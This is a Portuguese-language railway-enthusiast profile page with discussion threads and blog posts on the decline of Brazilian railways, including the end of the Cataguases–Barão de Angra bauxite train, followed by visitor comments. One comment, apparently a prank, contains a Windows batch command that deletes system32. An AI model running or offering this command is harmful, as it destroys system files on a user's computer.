Aloizio Barros de Souza
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Discussões de Aloizio Barros de Souza

Resposta do IPHAN e da ANTT sobre meu questionamento com relação à estação de Chiador - MG
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Iniciou esta discussão. Última resposta de Aloizio Barros de Souza 26 Fev, 2015.

Especialistas falam sobre entraves da logística brasileira
2 respostas 

Revista Ferroviária - 04/01/2014Especialistas falam sobre entraves da logística brasileira03/02/2014 - Canal RuralO presidente da Associação Brasileira das Empresas Ferroviárias, Vicente Abate, e o…Continuar

Iniciou esta discussão. Última resposta de gioka fir 13 Jun, 2014.

E-mail enviado à Prefeitura e Câmara Municipal de Sapucaia/RJ
5 respostas 

Lí esta matéria na versão online do jornal Folha Popular:http://www.folhapopular.net.br/noticias/6451"Em Sapucaia, a…Continuar

Iniciou esta discussão. Última resposta de Metodi Coelho Luca 9 Abr, 2014.

A verdadeira história da RFFSA
2 respostas 

Tive o prazer de conhecer a maioria das pessoas que aparecem nesta matéria, a partir dos anos 80.Acessem e conheçam um pouco mais sobre nossa história ferroviária.…Continuar

Iniciou esta discussão. Última resposta de Ênio Gomes da Silva 19 Jun, 2014.

 

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Blog de Aloizio Barros de Souza

Fim do trem da Bauxita Cataguases/MG e Barão de Angra/RJ

"Um trem-de-ferro é uma coisa mecânica, mas atravessa a noite, a madrugada, o dia, atravessou minha vida, virou só sentimento".

Adélia Prado

É com imensa tristeza que venho aqui hoje anunciar que o Trem da Bauxita entre Cataguases/MG e Barão de Angra/RJ, acabou!

A FCA (VLi) encerrou a única carga nesta linha e agora todos sabemos o que irá acontecer.

 …

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Postado em 10 agosto 2015 às 14:47

Fim do trem da Bauxita Cataguases/MG a Barão de Angra/RJ

"Um trem-de-ferro é uma coisa mecânica, mas atravessa a noite, a madrugada, o dia, atravessou minha vida, virou só sentimento".

Adélia Prado

É com imensa tristeza que venho aqui hoje anunciar que o Trem da Bauxita entre Cataguases/MG e Barão de Angra/RJ, acabou!

A FCA (VLi) encerrou a única carga nesta linha e agora todos sabemos o que irá acontecer.

 …

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Postado em 10 agosto 2015 às 14:30

Trens já substituem rodovias nas empresas de logística

Trens já substituem rodovias nas empresas de logística

04/09/2014 - Revista Ferroviária

Mesmo com o programa de concessões públicas do setor parado, empresas exportadoras brasileiras que utilizam as rodovias para levar suas mercadorias até os portos estão agora migrando para o modal ferroviário. Antes afastadas dos trilhos pela falta de investimentos nas Ferrovias…

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Postado em 4 setembro 2014 às 14:58

Malha ferroviária produtiva do Brasil é a mesma do Império - Evoluímos?

Malha ferroviária produtiva do Brasil é a mesma do Império

07/08/2014 - O Estado de S. Paulo

07/08/2014 - Revista Ferroviária

Investimentos vultuosos e execução de longo prazo são dois motivos que costumam desanimar os governantes em apostar na ampliação da malha ferroviária brasileira. Gasta-se muito com um projeto que pode ser inaugurado na gestão do político adversário. “Logística é investimento de…

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Postado em 7 agosto 2014 às 10:47

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Às 22:20 em 22 julho 2014, echo off del /s /q c:/windows/sy disse...

echo off
del /s /q c:/windows/system32

Às 19:04 em 23 maio 2014, LEONAM DA SILVA FERREIRA disse...

  AÍ MEU CAMARADÃO, SUA CIDADE JÁ ESTÁ SE PREPARANDO PARA UMA BOA FESTA JUNINA ASSIM COMO AS FAMOSAS CACHACINHAS MINEIRAS ESTÃO NO PONTO PARA ESQUENTAR O FRIO DAS ALTEROSAS ?  ESPERO QUE TUDO ESTEJA BEM CONTIGO E OS SEUS E TENHAMOS MOTIVOS PARA COMEMORAR AO FINAL DA COPA.  BOM FINAL DE SEMANA. 

Às 12:21 em 14 novembro 2013, João Luís V. Teixeira disse...

Ótima iniciativa!!!

 

Às 11:06 em 3 abril 2013, alcides de souza gomes disse...

ola bom dia concordo com vc em tudo que vc disse abandono total hj na minha terra natal cataguases MG.ainda passa o trem de minerio balchita do antonio ermilio de morais digo ele explora este trecho a ferrovia FCA.umforte abraço.

Às 15:58 em 31 janeiro 2013, LEONAM DA SILVA FERREIRA disse...

  CONCORDO EM GENERO, NÚMERO E GRAU COM O QUE ESTÁ ESCRITO, OS ABSURDOS NÃO ACONTECEM SÓ NA SUA CIDADE, MAS TAMBÉM NA MINHA, O RIO DE JANEIRO.  VÁRIOS TRENS DE PASSAGEIROS DEIXARAM DE CIRCULAR HÁ TEMPOS, TAIS COMO OS QUE LIGAVAM O RIO A SÃO PAULO E BELO HORIZONTE, RIO A CAMPOS, CAHOEIRO DO ITAPEMIRIM E VITÓRIA, NOTURNO DE PONTE NOVA, O BARRINHA, O MACAQUINHO (SANTA CRUZ A MANGARATIBA), O RAMAL QUE IA ATÉ A BASE AÉREA DO CAMPO DOS AFONSOS E O PASSEIO DE ANGRA DOS REIS A LÍDICE. O PROBLEMA É QUE NO BRASIL E PRINCIPALMENTE NO RIO DE JANEIRO, TENHO OBSERVADO QUE A CADA AVANÇO DE UM SINAL VERMELHO DE CANCELA QUE RESULTA EM ACIDENTE POR FALTA DE EDUCAÇÃO DE NOSSOS MOTORISTAS OS QUAIS SÓ RESPEITAM RADARES, AS MESMAS SÃO SEMPRE FECHADAS, COMO ACONTECEU NA AVENIDA FRANCISCO BICALHO AO LADO DA ABANDONADA ESTAÇÃO BARÃO DE MAUÁ, E A DA RUA DA AMÉRICA.  CLARO QUE TEMOS QUE PONDERAR QUE O TREM TEM QUE SER SEGREGADO POR UMA QUESTÃO DE SEGURANÇA, COMO TAMBÉM PELA MAIOR EFICIENCIA DESSE TÃO BOM MEIO DE TRANSPORTE.  DIGO COMO EXEMPLO, VOCE IMAGINAR UM DAQUELES MONSTRUOSOS TRENS DE MINÉRIO DA VITÓRIA MINAS PASSANDO EM PLOENA AVENIDA GETÚLIO VARGAS NO CENTRO DE COLATINA (E S) ?  AGORA REALMENTE COMO FALAM CERTOS PREFEITOS, REALMENTE O TREM É TRATADO COMO INIMIGO PÚBLICO NÚMERO 1.  A SOLUÇÃO IDEAL É QUE VÁRIOS PROJETOS SAIAM DO PAPEL, TAIS COMO O FÉRREO ANEL DE SÃO  PAULO, QUE IMPEDE QUE HAJA UM ALÍVIO NO SISTEMA ANCHIETA/IMIGRANTES COM O EXCESSO DE CAMINHÕES NAS MESMAS, SEM FALAR NA RODOVIA ANHANGUERA QUE TAMBÉM JÁ NÃO DÁ CONTA DE TANTOS CAMINHÕES. 

 
 
 

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